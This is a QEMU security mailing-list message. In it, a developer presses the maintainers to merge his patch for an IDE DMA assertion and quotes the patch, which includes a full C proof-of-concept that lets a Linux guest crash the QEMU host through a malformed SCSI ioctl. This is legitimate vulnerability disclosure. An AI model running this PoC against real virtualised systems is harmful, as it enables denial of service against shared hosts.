Re: [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest

[Alexander Popov]

On 27.07.2019 00:09, Alexander Popov wrote:
> On 26.07.2019 2:25:03 GMT+02:00, John Snow <address@hidden> wrote:
>> Oh, this is fun.
> ...
>> I can worry about a proper fix for 4.2+.
>
> Hello John,
>
> Thanks for your letter.
>
> I double-checked the git history and mailing list, I'm still sure
> that my fix for this assertion is correct.

Hello!

I'm pointing politely to this issue again.

It crashes qemu during syzkaller fuzzing.

It's really annoying to manually apply the fix against it to qemu.

I'm quoting my patch from July that _correctly_ fixes the wrong assertion
introduced in the commit a718978ed58a.

Why don't you apply my commit and then do the refactoring later when you want?

Best regards,
Alexander


On 05.07.2019 17:07, Alexander Popov wrote:
> This assertion was introduced in the commit a718978ed58a in July 2015.
> It implies that the size of successful DMA transfers handled in
> ide_dma_cb() should be multiple of 512 (the size of a sector).
> 
> But guest systems can initiate DMA transfers that don't fit this
> requirement. Let's improve the assertion to prevent qemu DoS from quests.
> 
> PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> command and crash qemu:
> 
> #include <stdio.h>
> #include <sys/ioctl.h>
> #include <stdint.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <string.h>
> #include <stdlib.h>
> #include <scsi/scsi.h>
> #include <scsi/scsi_ioctl.h>
> 
> #define CMD_SIZE 2048
> 
> struct scsi_ioctl_cmd_6 {
>       unsigned int inlen;
>       unsigned int outlen;
>       unsigned char cmd[6];
>       unsigned char data[];
> };
> 
> int main(void)
> {
>       intptr_t fd = 0;
>       struct scsi_ioctl_cmd_6 *cmd = NULL;
> 
>       cmd = malloc(CMD_SIZE);
>       if (!cmd) {
>               perror("[-] malloc");
>               return 1;
>       }
> 
>       memset(cmd, 0, CMD_SIZE);
>       cmd->inlen = 1337;
>       cmd->cmd[0] = READ_6;
> 
>       fd = open("/dev/sg0", O_RDONLY);
>       if (fd == -1) {
>               perror("[-] opening sg");
>               return 1;
>       }
> 
>       printf("[+] sg0 is opened\n");
> 
>       printf("[.] qemu should break here:\n");
>       fflush(stdout);
>       ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
>       printf("[-] qemu didn't break\n");
> 
>       free(cmd);
> 
>       return 1;
> }
> 
> Signed-off-by: Alexander Popov <address@hidden>
> ---
>  hw/ide/core.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/hw/ide/core.c b/hw/ide/core.c
> index 6afadf8..304fe69 100644
> --- a/hw/ide/core.c
> +++ b/hw/ide/core.c
> @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
>  
>      sector_num = ide_get_sector(s);
>      if (n > 0) {
> -        assert(n * 512 == s->sg.size);
> +        assert(n == s->sg.size / 512);
>          dma_buf_commit(s, s->sg.size);
>          sector_num += n;
>          ide_set_sector(s, sector_num);